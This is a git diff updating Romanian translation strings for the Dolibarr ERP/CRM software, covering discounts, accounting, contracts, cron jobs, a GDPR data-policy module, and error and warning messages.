+ThisIsInformationOnDocumentToSignFichinter=Acestea sunt informații despre intervenția care trebuie semnată SignatureProposalRef=Semnarea ofertei/propunerii comerciale %s -FeatureOnlineSignDisabled=Funcţionalitatea pentru semnare online dezactivata sau documentul a fost generat înainte activarea acestei funcţionalităţi +SignatureContractRef=Semnarea contractului %s +SignatureFichinterRef=Semnarea intervenției %s +FeatureOnlineSignDisabled=Funcţionalitatea pentru semnare online este dezactivată sau documentul a fost generat înainte activarea acestei funcţionalităţi diff --git a/htdocs/langs/ro_RO/companies.lang b/htdocs/langs/ro_RO/companies.lang index 765ee3631d5..0bf5f8b932d 100644 --- a/htdocs/langs/ro_RO/companies.lang +++ b/htdocs/langs/ro_RO/companies.lang @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Discount relativ CustomerAbsoluteDiscountShort=Discount absolut CompanyHasRelativeDiscount=Acest client are un discount de %s%% CompanyHasNoRelativeDiscount=Acest client nu are nici un discount relativ implicit -HasRelativeDiscountFromSupplier=Aveți un discount implicit de %s%% de la acest furnizor -HasNoRelativeDiscountFromSupplier=Nu aveți nici un discount relativ implicit de la acest furnizor +HasRelativeDiscountFromSupplier=Aveți o reducere implicită de %s%% de la acest furnizor +HasNoRelativeDiscountFromSupplier=Niciun discount relativ implicit la acest furnizor  CompanyHasAbsoluteDiscount=Acest client are discount-uri disponibile (note de credit sau plăți în avans) pentru %s %s CompanyHasDownPaymentOrCommercialDiscount=Acest client are discount-uri disponibile (comerciale, plăți în avans) pentru %s %s CompanyHasCreditNote=Acest client are încă note de credit pentru %s %s -HasNoAbsoluteDiscountFromSupplier=Nu aveți credit disponibil de discount de la acest furnizor +HasNoAbsoluteDiscountFromSupplier=Nu există reduceri/credite disponibile de la acest furnizor HasAbsoluteDiscountFromSupplier=Aveți discount-uri disponibile (note de credit sau plăți în avans) pentru %s %s de la acest furnizor HasDownPaymentOrCommercialDiscountFromSupplier=Aveți discount-uri disponibile (comerciale, plăți în avans) pentru %s %s de la acest furnizor HasCreditNoteFromSupplier=Aveți note de credit pentru %s %s de la acest furnizor @@ -444,7 +444,7 @@ AddAddress=Adaugă adresă SupplierCategory=Categorie furnizor JuridicalStatus200=Freelancer DeleteFile=Şterge fişier -ConfirmDeleteFile=Sigur doriţi să ştergeţi acest fişier? +ConfirmDeleteFile=Sigur vrei să ștergi acest fișier %s? AllocateCommercial=Asociat la reprezentant vânzări Organization=Organizaţie FiscalYearInformation=An fiscal @@ -498,3 +498,8 @@ RestOfEurope=Restul Europei (CEE) OutOfEurope=În afara Europei (CEE) CurrentOutstandingBillLate=Factura curentă restantă este întârziată BecarefullChangeThirdpartyBeforeAddProductToInvoice=Aveți grijă, în funcție de setările de preț ale produsului, ar trebui să schimbați terțul înainte de a adăuga produsul la POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=e-mailul există deja, vă rugăm să rescrieți numele companiei dvs +TwoRecordsOfCompanyName=există mai mult de o înregistrare pentru această companie, contactați-ne pentru a finaliza solicitarea ta de parteneriat +CompanySection=Secțiune companie +ShowSocialNetworks=Afișează rețele sociale +HideSocialNetworks=Ascunde rețele sociale diff --git a/htdocs/langs/ro_RO/compta.lang b/htdocs/langs/ro_RO/compta.lang index d5ea56b4144..c258ad137fb 100644 --- a/htdocs/langs/ro_RO/compta.lang +++ b/htdocs/langs/ro_RO/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Sold (înainte) Balance=Sold Debit=Debit Credit=Credit +AccountingDebit=Debit +AccountingCredit=Credit Piece= Doc. contabilitate AmountHTVATRealReceived=TVA colectat AmountHTVATRealPaid=TVA plătit @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Raportul cifrei de afaceri c TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Raportul cifrei de afaceri colectate după cota TVA nu este disponibil. Acest raport este disponibil numai pentru cifra de afaceri facturată. CalculationMode=Mod calcul AccountancyJournal=Jurnal contabil -ACCOUNTING_VAT_SOLD_ACCOUNT=Contul contabil implicit pentru TVA la vânzări (utilizat dacă nu este definit în setarea dicționarului TVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Contul contabil implicit pentru TVA la achiziții (utilizat dacă nu este definit în setarea dicționarului TVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Contul contabil implicit pentru plata TVA -ACCOUNTING_ACCOUNT_CUSTOMER=Contul contabil utilizat pentru terți clienţi +ACCOUNTING_VAT_SOLD_ACCOUNT=Cont contabil (din Planul de Conturi) care urmează să fie utilizat ca și cont implicit pentru TVA la vânzări (utilizat dacă nu este definit în configurarea dicționarului TVA) +ACCOUNTING_VAT_BUY_ACCOUNT=Cont contabil (din Planul de Conturi) care urmează să fie utilizat ca și cont implicit pentru TVA la achiziții (utilizat dacă nu este definit în configurarea dicționarului TVA) +ACCOUNTING_VAT_PAY_ACCOUNT=Cont contabil (din Planul de Conturi) care va fi utilizat ca și cont implicit pentru plata TVA +ACCOUNTING_ACCOUNT_CUSTOMER=Cont contabil (din Planul de Conturi) utilizat pentru terți tip "client". ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Contul contabil dedicat definit pe fişa terțului va fi utilizat numai pentru subregistrul contabilitate . Aceasta va fi utilizat pentru Registrul jurnal și ca valoare implicită pentru jurnalul secundar contabill dacă nu este definit contul contabil dedicat clienților de la terți. -ACCOUNTING_ACCOUNT_SUPPLIER=Contul contabil utilizat pentru terți furnizori +ACCOUNTING_ACCOUNT_SUPPLIER=Cont contabil (din Planul de Conturi) utilizat pentru terți tip "furnizor". ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Contul contabil dedicat definit pe fişa terțului va fi utilizat numai pentru registrul jurnal secundar. Acesta va fi utilizat pentru Registrul Jurnal general și ca valoare implicită pentru jurnalele secundare dacă nu este definit contul contabil de vânzare asociat la un terț. ConfirmCloneTax=Confirmare clonare taxă socială/fiscală ConfirmCloneVAT=Confirmați clonarea unei declarații de TVA @@ -300,3 +302,4 @@ InvoiceToPay15Days=Facturi de plătit (15 - 30 zile) InvoiceToPay30Days=Facturi de plătit (> 30 zile) ConfirmPreselectAccount=Preselectare cont contabil ConfirmPreselectAccountQuestion=Sigur vrei să preselectezi liniile selectate %s cu acest cod contabil? +AmountPaidMustMatchAmountOfDownPayment=Suma plătită trebuie să corespundă cu valoarea avansului diff --git a/htdocs/langs/ro_RO/contracts.lang b/htdocs/langs/ro_RO/contracts.lang index a9aae557ea9..daeff82fd40 100644 --- a/htdocs/langs/ro_RO/contracts.lang +++ b/htdocs/langs/ro_RO/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contracte/Abonamente ContractsAndLine=Contracte și linie contracte Contract=Contract ContractLine=Linie contract +ContractLines=Linii de contract Closing=Inchide NoContracts=Niciun contract MenuServices=Servicii @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Sigur doriți să ștergeți această linie de contrac MoveToAnotherContract=Mută serviciu într-un alt contract. ConfirmMoveToAnotherContract=Am ales un nou contract țintă și confirm mutarea acestui serviciu în acest contract. ConfirmMoveToAnotherContractQuestion=Alegeți în ce contract existent (de la același terț) doriți să mutați acest serviciu? -PaymentRenewContractId=Reînnoire linie contract (numărul %s) +PaymentRenewContractId=Reînnoire contract %s (serviciu %s) ExpiredSince=Data expirării NoExpiredServices=Servicii active neexpirate ListOfServicesToExpireWithDuration=Lista servicii care expiră în %s zile @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Contact client pentru semnare contract HideClosedServiceByDefault=Ascunde serviciile închise în mod implicit ShowClosedServices=Afişare Servicii închise HideClosedServices=Ascundere Servicii închise +UserStartingService=Utilizator activare serviciu +UserClosingService=Utilizator închidere serviciu diff --git a/htdocs/langs/ro_RO/cron.lang b/htdocs/langs/ro_RO/cron.lang index 6e4f16734f7..feffe602ed8 100644 --- a/htdocs/langs/ro_RO/cron.lang +++ b/htdocs/langs/ro_RO/cron.lang @@ -26,7 +26,7 @@ CronCommand=Comandă CronList=Joburi programate CronDelete=Şterge joburi programate CronConfirmDelete=Sigur doriți să ștergeți aceste joburi programate? -CronExecute=Lansați joburile programate? +CronExecute=Lansează acum CronConfirmExecute=Sunteți sigur că doriți să executați aceste joburi programate acum? CronInfo=Modulul Joburi programate permite programarea lucrărilor de sistem pentru execuţia automată. Joburile pot fi pornite și manual. CronTask=Job @@ -58,7 +58,7 @@ CronNote=Comentariu CronFieldMandatory=Câmpurile %s sunt obligatorii CronErrEndDateStartDt=Data de sfârşit nu poate fi înaintea datei de început StatusAtInstall=Stare la instalarea modulului -CronStatusActiveBtn=Programare +CronStatusActiveBtn=Activare programare CronStatusInactiveBtn=Dezactivare CronTaskInactive=Acest job este dezactivat (ne-programat) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Mergi în meniul "Acasă - Instrume JobDisabled=Job dezactivat MakeLocalDatabaseDumpShort=Backup local baza de date MakeLocalDatabaseDump=Creați un dump de bază de date locală. Parametrii sunt: ​​compresie ("gz" sau "bz" sau "none"), tipul de backup (mysql, pgsql, auto) 1, "auto" sau nume de fișier construit, număr de fișiere de rezervă care vor fi păstrate +MakeSendLocalDatabaseDumpShort=Trimite backup local bază de date +MakeSendLocalDatabaseDump=Trimite backup-ul bazei de date locale prin email. Parametrii sunt: ​​către, de la, subiect, mesaj, nume fișier (numele fișierului trimis), filtru ('sql' numai pentru backup-ul bazei de date) +BackupIsTooLargeSend=Ne pare rău, ultimul fișier de backup este prea mare pentru a fi trimis pe email +CleanUnfinishedCronjobShort=Șterge cronjob-uri nefinalizate +CleanUnfinishedCronjob=Curățare cronjob blocat în procesare atunci când procesul nu mai rulează WarningCronDelayed=Atenție, din motive de performanță, indiferent de data următoare a executării joburilor activate, este posibil ca activităţile tale să fie întârziate la maximum %s ore înainte de a rula DATAPOLICYJob=Curățător de date și anonimizator JobXMustBeEnabled=Jobul %s trebuie să fie activat +EmailIfError=E-mail de avertizare la eroare +ErrorInBatch=Eroare la rularea jobului %s + # Cron Boxes LastExecutedScheduledJob=Ultima execuţie a jobului programat NextScheduledJobExecute=Următoarea execuţie a jobului programat NumberScheduledJobError=Numărul de joburi programate cu eroare +NumberScheduledJobNeverFinished=Număr de joburi programate care nu au fost finalizate diff --git a/htdocs/langs/ro_RO/datapolicy.lang b/htdocs/langs/ro_RO/datapolicy.lang new file mode 100644 index 00000000000..dcffd87f239 --- /dev/null +++ b/htdocs/langs/ro_RO/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Politica de confidențialitate a datelor +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Modul de gestionare a confidențialității datelor cu caracter personal (conformitate cu GDPR) + +# +# Administration page +# +datapolicySetup = Configurare modul Confidențialitatea datelor cu caracter personal +Deletion = Ștergere date +datapolicySetupPage = În funcție de legislația țării tale (Exemplu Articolul 5 din GDPR), datele cu caracter personal trebuie păstrate pe o perioadă care să nu depășească cea necesară scopurilor pentru care au fost colectate, cu excepția scopurilor de arhivare.
      Ștergerea se va face automat după o anumită perioadă fără evenimente (durata pe care o vei indica mai jos). +NB_MONTHS = %s luni +ONE_YEAR = 1 an +NB_YEARS = %s ani +DATAPOLICY_TIERS_CLIENT = Client +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Client +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nici prospect/Nici client +DATAPOLICY_TIERS_FOURNISSEUR = Furnizor +DATAPOLICY_CONTACT_CLIENT = Client +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Client +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nici prospect/Nici client +DATAPOLICY_CONTACT_FOURNISSEUR = Furnizor +DATAPOLICY_ADHERENT = Membru +DATAPOLICY_Tooltip_SETUP = Tip de contact - Indică opțiunile tale pentru fiecare tip.  +DATAPOLICYMail = Configurare email-uri +DATAPOLICYSUBJECTMAIL = Subiect email +DATAPOLICYCONTENTMAIL = Conținut email +DATAPOLICYSUBSITUTION = Poți utiliza următoarele variabile în email-ul tău. (LINKACCEPT permite crearea unui link care să înregistreze acordul persoanei, LINKREFUSED face posibilă înregistrarea refuzului persoanei): +DATAPOLICYACCEPT = Mesaj după acord +DATAPOLICYREFUSE = Mesaj după dezacord +SendAgreementText = Poți trimite un email de acord GDPR tuturor persoanelor de contact relevante (care nu au primit încă un email și pentru care nu ai înregistrat nimic despre acordul lor GDPR). Pentru a face acest lucru, utilizează următorul buton. +SendAgreement = Trimite email-uri +AllAgreementSend = Toate email-urile au fost trimise +TXTLINKDATAPOLICYACCEPT = Text pentru linkul "acord" +TXTLINKDATAPOLICYREFUSE = Text pentru linkul "dezacord" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: Prelucrarea datelor cu caracter personal +DATAPOLICY_consentement = Consimțământul obținut pentru prelucrarea datelor cu caracter personal +DATAPOLICY_opposition_traitement = Se opune prelucrării datelor sale cu caracter personal +DATAPOLICY_opposition_prospection = Se opune prelucrării datelor sale personale în scopuri de prospectare + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonimizare terț +DATAPOLICY_POPUP_ANONYME_TEXTE = Nu poți șterge acest contact din sistem deoarece există articole legate. În conformitate cu GDPR, veți face toate aceste date anonime pentru a vă respecta obligațiile. Doriți să continuați? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilitate GDPR +DATAPOLICY_PORTABILITE_TITLE = Export date personale +DATAPOLICY_PORTABILITE_CONFIRMATION = Dorești să exporți datele personale ale acestui contact. Ești sigur ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonimizare %s + +# V2 +DATAPOLICYReturn = Validare GDPR +DATAPOLICY_date = Data trimiterii email-ului de acord/dezacord +DATAPOLICY_send = Data trimiterii email-ului de acord/consimțământ +DATAPOLICYReturn = Validare GDPR +DATAPOLICY_SEND = Trimite email GDPR +MailSent = Email-ul a fost trimis + +# ERROR +ErrorSubjectIsRequired = Eroare: subiectul email-ului este obligatoriu. Indicați-l în configurarea modulului +=Din cauza unei probleme tehnice, nu am putut înregistra preferințele tale. Ne cerem scuze pentru asta. Contactați-ne pentru a ne trimite preferințele tale. +NUMBER_MONTH_BEFORE_DELETION = Număr de luni înainte de ștergere diff --git a/htdocs/langs/ro_RO/dict.lang b/htdocs/langs/ro_RO/dict.lang index d12da96f8eb..7e58761abb1 100644 --- a/htdocs/langs/ro_RO/dict.lang +++ b/htdocs/langs/ro_RO/dict.lang @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Muntenegru CountryBL=Saint Barthélemy CountryMF=Saint Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=D-na +CivilityMMEShort=D-na CivilityMR=Dl +CivilityMRShort=Dl CivilityMLE=Doamna CivilityMTRE=Maestru CivilityDR=Doctor diff --git a/htdocs/langs/ro_RO/ecm.lang b/htdocs/langs/ro_RO/ecm.lang index d843519ba49..1021450ce04 100644 --- a/htdocs/langs/ro_RO/ecm.lang +++ b/htdocs/langs/ro_RO/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Director manual ECMSectionAuto=Director automat ECMSectionsManual=Arbore manual ECMSectionsAuto=Arbore automat +ECMSectionsMedias=Arbore media ECMSections=Directoare ECMRoot=ECM rădăcină ECMNewSection=Director nou @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Număr fișiere în sub-directoare ECMCreationUser=Creator ECMArea=DMS/ECM ECMAreaDesc=DMS/ECM (Document Management System / Electronic Content Management) vă permite să salvați, să partajați și să căutați rapid toate tipurile de documente în Dolibarr. -ECMAreaDesc2=* Directoarele automate sunt completate în mod automat atunci când se adaugă documentele din fişa acelui element.
      * Directoarele manuale poate fi folosite pentru a salva documente ce nu sunt legate de un anumit element. +ECMAreaDesc2a=* Directoarele manuale pot fi folosite pentru a salva documente care nu au legătură cu un anumit element. +ECMAreaDesc2b=* Directoarele automate sunt completate automat la adăugarea documentelor din pagina unui element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. ECMSectionWasRemoved=Directorul %s a fost şters. ECMSectionWasCreated=Directorul %s a fost creat. ECMSearchByKeywords=Caută după cuvinte cheie diff --git a/htdocs/langs/ro_RO/errors.lang b/htdocs/langs/ro_RO/errors.lang index fd66cb4e4e7..fbb5e25b81c 100644 --- a/htdocs/langs/ro_RO/errors.lang +++ b/htdocs/langs/ro_RO/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Login-ul %s există deja. ErrorGroupAlreadyExists=Grupul %s există deja. ErrorEmailAlreadyExists=Email-ul %s există deja. ErrorRecordNotFound=Înregistrarea nu a fost găsită. +ErrorRecordNotFoundShort=Nu a fost găsit ErrorFailToCopyFile=Eşec la copierea fişierului %s în %s. ErrorFailToCopyDir=Eşec la copierea directorului '%s' în '%s'. ErrorFailToRenameFile=Eşec la redenumirea fişierului %s în %s. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Fișierul de imagine nu are un format acceptat (Configuraţi ErrorBadDateFormat=Valoarea '%s' are formatul de dată greşit ErrorWrongDate=Data nu este corectă! ErrorFailedToWriteInDir=Nu s-a reuşit scrierea în directorul %s +ErrorFailedToBuildArchive=Nu s-a putut construi fișierul arhivă %s ErrorFoundBadEmailInFile=S-a găsit o sintaxă de email incorectă pentru liniile %s din fișier (exemplu de linie %s cu email=%s) ErrorUserCannotBeDelete=Utilizatorul nu poate fi șters. Poate este asociat unor entități de sistem. ErrorFieldsRequired=Unele câmpuri obligatorii nu au fost completate. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Completaţi valorile pentru lista checkbox ErrorNoValueForRadioType=Completaţi valorile pentru lista radio ErrorBadFormatValueList=Valorile din lista nu pot avea mai mult de o virgulă: %s, dar trebuie să aibă cel puțin o: cheie, valoare ErrorFieldCanNotContainSpecialCharacters=Câmpul %s nu trebuie să conțină caractere speciale. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Câmpul %s nu trebuie să conțină caractere speciale sau majuscule și nu poate conține numai numere. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Câmpul %s nu trebuie să conțină caractere speciale, nici caractere majuscule și trebuie să înceapă cu un caracter alfabetic (a-z)  ErrorFieldMustHaveXChar=Câmpul %s trebuie să aibă cel puțin %scaractere. ErrorNoAccountancyModuleLoaded=Modulul Contabilitate nu este activat ErrorExportDuplicateProfil=Acest nume de profil există deja pentru acest set de export. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Câmpul %s: '%s' nu se potrivește cu regu ErrorHtmlInjectionForField=Câmpul %s: Valoarea '%s' conține date rău intenționate nepermise ErrorFieldValueNotIn=Câmpul %s: '%s' nu este o valoare găsită în câmpul %s din %s ErrorFieldRefNotIn=Câmpul %s: '%s' nu este o %s referinţă existentă +ErrorMultipleRecordFoundFromRef=Mai multe înregistrări găsite la căutarea din ref %s. Nu există nicio modalitate de a ști ce ID să folosești. ErrorsOnXLines=%s erori găsite ErrorFileIsInfectedWithAVirus=Programul antivirus nu a validat fişierul (fişierul ar putea fi infectat cu un virus) -ErrorSpecialCharNotAllowedForField=Caracterele speciale nu sunt permise pentru câmpul "%s" ErrorNumRefModel=O referinţă există în baza de date (%s) şi nu este compatibilă cu această regulă de numerotare. Şterge sau redenumeşte referinţa pentru a activa acest model. ErrorQtyTooLowForThisSupplier=Cantitate prea mică pentru acest furnizor sau niciun preț definit pentru acest produs de la acest furnizor ErrorOrdersNotCreatedQtyTooLow=Unele comenzi nu au fost create datorită cantităților prea mici @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Obiectele trebuie să aibă statusul ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Obiectele trebuie să aibă statusul 'Schiţă' sau 'Dezactivat' pentru a fi activate ErrorNoFieldWithAttributeShowoncombobox=Nici un câmp nu are proprietatea 'showoncombobox' în definiţia obiectului '%s'. Nu se poate afişa lista combo. ErrorFieldRequiredForProduct=Câmpul '%s' este obligatoriu de completat pentru produsul %s +AlreadyTooMuchPostOnThisIPAdress=Ai postat deja prea multe după această adresă IP. ProblemIsInSetupOfTerminal=Problema este la configurarea terminalului %s. ErrorAddAtLeastOneLineFirst=Adaugă cel puţin o linie mai întâi ErrorRecordAlreadyInAccountingDeletionNotPossible=Eroare, tranzacţia este deja transferată în contabilitate, ştergerea nu este posibilă. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Eroare, parametrul %s trebu ErrorLoginDateValidity=Eroare, această conectare se află în afara intervalului temporal valabil ErrorValueLength=Lungimea câmpului '%s' trebuie să fie mai mare de '%s' ErrorReservedKeyword=Cuvântul '%s' este un cuvânt cheie rezervat +ErrorFilenameReserved=The filename %s can't be used as it is a reserved and protected command. ErrorNotAvailableWithThisDistribution=Nu este disponibil cu această distribuție ErrorPublicInterfaceNotEnabled=Interfaţa publică nu a fost activată ErrorLanguageRequiredIfPageIsTranslationOfAnother=Limba noii pagini trebuie definită dacă este setată ca traducere a altei pagini @@ -277,8 +281,8 @@ ErrorWrongFileName=Numele fișierului nu poate să conțină _SOMETHING_ în el ErrorNotInDictionaryPaymentConditions=Nu se află în dicționarul Condiții de plată, vă rugăm să modificați. ErrorIsNotADraft=%s nu este o schiţă ErrorExecIdFailed=Nu se poate executa comanda "id" -ErrorBadCharIntoLoginName=Caracter nepermis în numele de utilizator -ErrorRequestTooLarge=Eroare, cererea este prea mare +ErrorBadCharIntoLoginName=Caracter neautorizat în câmpul %s +ErrorRequestTooLarge=Eroare, solicitare prea mare sau sesiunea a expirat ErrorNotApproverForHoliday=Nu eşti persoana care aprobă pentru concediul %s ErrorAttributeIsUsedIntoProduct=Acest atribut este utilizat în una sau mai multe variante de produs ErrorAttributeValueIsUsedIntoProduct=Această valoare de atribut este utilizată în una sau mai multe variante de produs @@ -291,6 +295,21 @@ ErrorAjaxRequestFailed=Solicitare eşuată ErrorThirpdartyOrMemberidIsMandatory=Terțul sau Membrul unui parteneriat este obligatoriu ErrorFailedToWriteInTempDirectory=Eșec la scrierea în directorul temp ErrorQuantityIsLimitedTo=Cantitatea este limitată la %s +ErrorFailedToLoadThirdParty=Nu s-a găsit/încărcat un terț din id=%s, email=%s, nume=%s +ErrorThisPaymentModeIsNotSepa=Acest mod de plată nu este un cont bancar +ErrorStripeCustomerNotFoundCreateFirst=Clientul Stripe nu este setat pentru acest terț (sau setat la o valoare ștearsă din Stripe). Creați-l (sau reatașați-l) mai întâi. +ErrorCharPlusNotSupportedByImapForSearch=Căutarea IMAP nu poate găsi în expeditor sau destinatar un șir care conține caracterul + +ErrorTableNotFound=Tabelul %s nu a fost găsit +ErrorValueForTooLow=Valoarea pentru %s este prea mică +ErrorValueCantBeNull=Valoarea pentru %s nu poate fi nulă +ErrorDateOfMovementLowerThanDateOfFileTransmission=Data tranzacției bancare nu poate fi anterioară datei de transmitere a fișierului +ErrorTooMuchFileInForm=Prea multe fișiere în formular, numărul maxim de fișier(e) este %s +ErrorSessionInvalidatedAfterPasswordChange=Sesiunea a fost invalidată în urma unei modificări a parolei, a stării sau a datelor de valabilitate. Reconectează-te. +ErrorExistingPermission = Permisiunea %s pentru obiectul %s există deja +ErrorFieldExist=Valoarea pentru %s există deja +ErrorEqualModule=Modul invalid în %s +ErrorFieldValue=Valoarea pentru %s este incorectă +ErrorCoherenceMenu=%s is required when %s is 'left' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Parametrul tău PHP upload_max_filesize (%s) este mai mare decât paramentrul PHP post_max_size (%s). Aceasta nu este o configuraţie consistentă. @@ -304,7 +323,7 @@ WarningConfFileMustBeReadOnly=Atenţie, fişierul tău de configurare (htdocs WarningsOnXLines=Avertismente pe %s înregistrare(ări) sursă WarningNoDocumentModelActivated=Nu a fost activat niciun model, pentru generarea de documente. Un model va fi ales în mod implicit până când verificați configurarea modulului. WarningLockFileDoesNotExists=Atenţie, o dată ce configurarea este finalizată, trebuie să dezactivați instrumentele de instalare/migrare adăugând un fișier install.lock în directorul %s . Omiterea creării acestui fișier reprezintă un risc serios de securitate. -WarningUntilDirRemoved=Toate avertismentele de securitate (vizibile numai de către utilizatorii administratori) vor rămâne active, atâta timp cât vulnerabilitatea este prezentă (sau constanta MAIN_REMOVE_INSTALL_WARNING este adăugată în Setări->Alte setări). +WarningUntilDirRemoved=Acest avertisment de securitate va rămâne activ atâta timp cât vulnerabilitatea este prezentă. WarningCloseAlways=Atenţie, închiderea are loc chiar dacă suma diferă. Nu activati aceasta funcţionalitate decât în cunoștinţă de cauză. WarningUsingThisBoxSlowDown=Atenție, folosind această casetă încetiniţi serios toate paginile care afişează caseta. WarningClickToDialUserSetupNotComplete=Setările informațiilor ClickToDial pentru utilizatorul tău nu sunt complete (vezi tabul ClickToDial pe fişal dvs. de utilizator). @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=Data plăţii(%s) este anterioară datei WarningTooManyDataPleaseUseMoreFilters= Prea multe date (mai mult de %s linii). Folosiți mai multe filtre sau setați constanta %s la o limită superioară. WarningSomeLinesWithNullHourlyRate=Unele perioade de timp consumat au fost înregistrate de unii utilizatori care nu aveau tariful orar definit. A fost utilizată valoarea 0 %s pe oră, dar acest lucru poate duce la o evaluare financiară greșită a timpului consumat. WarningYourLoginWasModifiedPleaseLogin=Utilizatorul-ul a fost modificat. Din motive de securitate, va trebui să vă conectați cu noul dvs. utilizator înainte de următoarea acțiune. +WarningYourPasswordWasModifiedPleaseLogin=Parola ta a fost modificată. Din motive de securitate, va trebui să te autentifici acum cu noua parolă. WarningAnEntryAlreadyExistForTransKey=Există deja o intrare pe cheia de traducere pentru această limbă WarningNumberOfRecipientIsRestrictedInMassAction=Avertisment, numărul de destinatari diferiţi este limitat la %s când se utilizează acțiunile de masă din liste WarningDateOfLineMustBeInExpenseReportRange=Atenţie, data liniei nu este în intervalul raportului de cheltuieli @@ -326,6 +346,9 @@ WarningAvailableOnlyForHTTPSServers=Disponibil numai dacă se utilizează conexi WarningModuleXDisabledSoYouMayMissEventHere=Modulul %s nu a fost activat. Este posibil să pierdeți o mulțime de evenimente aici.  WarningPaypalPaymentNotCompatibleWithStrict=Valoarea 'Strictă' face ca funcțiile de plată online să nu funcționeze corect. Folosiți în schimb 'Lax'. WarningThemeForcedTo=Atenție, tema %s a fost forțată de constanta ascunsă MAIN_FORCETHEME  +WarningPagesWillBeDeleted=Atenție, acest lucru va șterge și toate paginile/containerele existente ale site-ului. Ar trebui să exporți site-ul înainte, astfel încât să ai o copie de rezervă pentru a-l reimporta mai târziu.  +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Validarea automată este dezactivată când opțiunea de scădere a stocului este setată pe "Validare factură". +WarningModuleNeedRefrech = Modulul %s a fost dezavtivat. Nu uita să-l activezi # Validate RequireValidValue = Valoare invalidă diff --git a/htdocs/langs/ro_RO/eventorganization.lang b/htdocs/langs/ro_RO/eventorganization.lang index ad2838e2a78..f97feca5b70 100644 --- a/htdocs/langs/ro_RO/eventorganization.lang +++ b/htdocs/langs/ro_RO/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = În formularul pentru a creare/adăugar # Object # EventOrganizationConfOrBooth= Conferinţe sau Stand-uri +EventOrganizationConfOrBoothes=Conferințe sau Standuri ManageOrganizeEvent = Administrează organizarea unui eveniment ConferenceOrBooth = Conferinţe sau Stand-uri ConferenceOrBoothTab = Conferinţe sau Stand-uri @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Aici, puteți vota pentru o conferință sau pu EvntOrgRegistrationConfHelpMessage = Aici puteți propune o nouă conferință pe care să o susţineţi în timpul evenimentului. EvntOrgRegistrationBoothHelpMessage = Aici, puteți aplica pentru a avea un stand la eveniment. ListOfSuggestedConferences = Listă conferinţe propuse -ListOfSuggestedBooths = Listă stand-uri propuse -ListOfConferencesOrBooths=Lista conferinţelor sau stand-urilor proiectului eveniment +ListOfSuggestedBooths=Standuri propuse +ListOfConferencesOrBooths=Conferințe sau standuri asociate la proiect/eveniment SuggestConference = Propune o nouă conferinţă SuggestBooth = Propune un stand ViewAndVote = Vizualizează și votează pentru evenimentele propuse PublicAttendeeSubscriptionGlobalPage = Link public pentru înscrierea la eveniment PublicAttendeeSubscriptionPage = Link public doar pentru înregistrarea la acest eveniment MissingOrBadSecureKey = Cheia de securitate lipseşte sau este invalidă -EvntOrgWelcomeMessage = Acest formular vă permite să vă înregistrați ca nou participant la eveniment: %s  +EvntOrgWelcomeMessage = Acest formular îți permite să te înregistrezi ca nou participant la eveniment  EvntOrgDuration = Această conferinţă începe pe %s şi se termină pe %s. ConferenceAttendeeFee = Taxă de participare la conferință pentru evenimentul: '%s' care are loc de pe %s până la %s. BoothLocationFee = Locaţie stand pentru evenimentul: '%s' care se desfăşoară între %s şi %s @@ -132,7 +133,7 @@ LabelOfconference=Etichetă conferinţă ConferenceIsNotConfirmed=Înregistrarea nu este disponibilă, conferinţa nu a fost confirmată încă 